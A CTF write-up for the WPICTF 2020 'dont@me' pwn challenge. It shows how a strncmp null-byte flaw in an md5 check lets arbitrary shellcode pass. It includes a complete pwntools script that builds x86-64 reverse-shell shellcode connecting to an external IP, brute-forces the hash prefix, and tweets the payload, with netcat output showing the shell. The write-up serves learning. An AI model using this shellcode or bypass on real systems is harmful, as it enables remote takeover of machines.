Select Page

Note: I did not solve this challenge during the CTF. Thanks team @Srdnle for this great write-up! Also thanks @ajmalsiddiqui for the ngrok hint!

dont@me (200pt PWN, 3 Solves), made by: @rm -k, fixed by: @awg
tweet @JohnSmi31885382

Seems like we should @ John Smith on Twitter with some payload so that he will give us a shell! Hmmm…

A binary was given.

peilin@PWN:~/ctf/wpictf-2020$ file runtweet
runtweet: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=1576c872ab263ef1c0f6aaafc390023d24524735, for GNU/Linux 3.2.0, not stripped
gdb-peda$ checksec
CANARY :  ENABLED
FORTIFY : disabled
NX :      disabled
PIE :     ENABLED
RELRO :   Partial

If we run it:

peilin@PWN:~/ctf/wpictf-2020$ ./runtweet
Poop.

OK. 🙂

Running strings on the binary, we found a very strange string:

peilin@PWN:~/ctf/wpictf-2020$ strings runtweet

b801000000bf01000000488d3508000000ba0c0000000f05c348656c316f207730724c642e00

It turned out to be the hex string of a simple shellcode, printing out “Hel1o w0rLd.”. Let’s call it shellcode A. The binary actually takes a base64 encoded shellcode, decode it, then compare its md5 with that of shellcode A. If they match, the program executes the inputted shellcode.

Let’s first calculate the md5 and base64 of shellcode A:

# calc.py
#/usr/env/python3
import base64
import hashlib

shellcode = b"\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x8d\x35\x08\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xc3\x48\x65\x6c\x31\x6f\x20\x77\x30\x72\x4c\x64\x2e\x00"
shellcode_base64 = base64.b64encode(shellcode).decode()

print("base64: ", shellcode_base64)
print("md5: ", hashlib.md5(shellcode).hexdigest())
peilin@PWN:~/ctf/wpictf-2020$ python3 y.py
base64: uAEAAAC/AQAAAEiNNQgAAAC6DAAAAA8Fw0hlbDFvIHcwckxkLgA=
md5: 79fc008108a92bcd7edb7cb63ea714b3

Then run its base64 against the binary:

peilin@PWN:~/ctf/wpictf-2020$ ./runtweet uAEAAAC/AQAAAEiNNQgAAAC6DAAAAA8Fw0hlbDFvIHcwckxkLgA=
Hel1o w0rLd.Poop.

Good. But printing out stuff isn’t interesting enough, we need a shell! How? Take a closer look at the validate_hash function:

undefined8 validate_hash(char *arg1)
{
    int64_t iVar1;
    int32_t iVar2;
    undefined8 uVar3;
    int64_t in_FS_OFFSET;
    int64_t var_38h;
    int64_t var_24h;
    int64_t var_8h;
    
    iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);
    var_24h._0_4_ = 0;
    do {
        if (0 < (int32_t)(uint32_t)var_24h) {
            uVar3 = 0;
code_r0x000014dd:
            if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
                __stack_chk_fail();
            }
            return uVar3;
        }
        hash_shellcode((int64_t)&var_24h + 4, (uint64_t)(uint32_t)var_24h);
        iVar2 = strncmp(arg1, (int64_t)&var_24h + 4, 0x10);
        if (iVar2 == 0) {
            uVar3 = 1;
            goto code_r0x000014dd;
        }
        var_24h._0_4_ = (uint32_t)var_24h + 1;
    } while( true );
}

It uses strncmp() to compare md5 values. Let’s see in GDB:

Breakpoint 2, 0x00005555555554be in validate_hash ()
gdb-peda$ i r rdi rsi
rdi 0x7fffffffe370 0x7fffffffe370
rsi 0x7fffffffe310 0x7fffffffe310
gdb-peda$ x/8bx 0x7fffffffe370
0x7fffffffe370: 0x79 0xfc 0x00 0x81 0x08 0xa9 0x2b 0xcd
gdb-peda$ x/8bx 0x7fffffffe310
0x7fffffffe310: 0x79 0xfc 0x00 0x81 0x08 0xa9 0x2b 0xcd

It compares them in raw bytes, instead of in hex strings! The third byte in the md5 of shellcode A is a NULL byte, and strncmp stops at NULL bytes! This means any shellcode whose md5 begins with 79fc00 will pass the check and get executed!

The plan is: Build whatever shellcode we want, append random bytes to it until its md5 begins with 79fc00, base64 encode it, then send it to @JohnSmi31885382.

Seems like we need a reverse shell here. I used ngrok to catch that shell. Also, it is said that the twitter API gets weird if we tweet more than 140 characters, so let’s try to keep it short.

from pwn import *
import os, socket, hashlib, base64

context.update(arch='amd64', os='linux')

MY_IPADDR = "3.13.191.225"
MY_PORT = 16927

# reverse shell
shellcode = asm('\n'.join([
    'mov eax, %d' % u32(socket.inet_aton(MY_IPADDR)),
    'push rax',
    'pushw %d' % u16(p16(MY_PORT, endian="big"), endian="little"),
    'pushw 2',          # AF_INET
    'push SYS_connect',
    'push 16',          # length
    'push SYS_socket',
    'push 1',           # type - SOCK_STREAM
    'push 2',           # family - AF_INET
    
    'pop rdi',          
    'pop rsi',
    'xor rdx, rdx',     # protocol - 0
    'pop rax',
    'syscall',          # socket(AF_INET, SOCK_STERAM, 0)
    
    'mov rdi, rax',
    'pop rdx',
    'pop rax',
    'mov rsi, rsp',
    'syscall',          # connect(sockfd, sockaddr, length)
    
    'xor rsi, rsi',
    
    'loop:',
    'mov al, SYS_dup2',
    'syscall',          # dup2(oldfd, newfd)
    'inc rsi',
    'cmp rsi, 2',
    'jle loop',
    
    'xor rax, rax',
    'mov rdi, %ld' % u64("/bin//sh"),
    'xor rsi, rsi',
    'push rsi',
    'push rdi',
    'mov rdi, rsp',
    'xor rdx, rdx',
    'mov al, 59',       # syscall: execve()
    'syscall'           # execve("/bin//sh", NULL, NULL)
]), arch = "amd64", os = "linux")

payload_md5 = ""
while (payload_md5[:6] != "79fc00"):
    payload = shellcode + os.urandom(4)
    payload_md5 = hashlib.md5(payload).hexdigest()

tweet = "@JohnSmi31885382 " + base64.b64encode(payload).decode()
assert(len(tweet) <= 140)

print(tweet)

I never thought that one day I would generate a tweet using pwntools!

peilin@PWN:~/ctf/wpictf-2020$ python3 x.py
@JohnSmi31885382 uAMNv+FQZmhCH2ZqAmoqahBqKWoBagJfXkgx0lgPBUiJx1pYSInmDwVIMfawIQ8FSP/GSIP+An7zSDHASL8vYmluLy9zaEgx9lZXSInnSDHSsDsPBZ/Lz6Y=

Spin up netcat then send it to John:

peilin@PWN:~/ctf/wpictf-2020$ nc -lvvvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from localhost 57314 received!
whoami
ctf
id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
ls
flag.txt
runtweet
cat flag.txt
WPI{b10kd_@nD_r33p0rtEd}

Cool!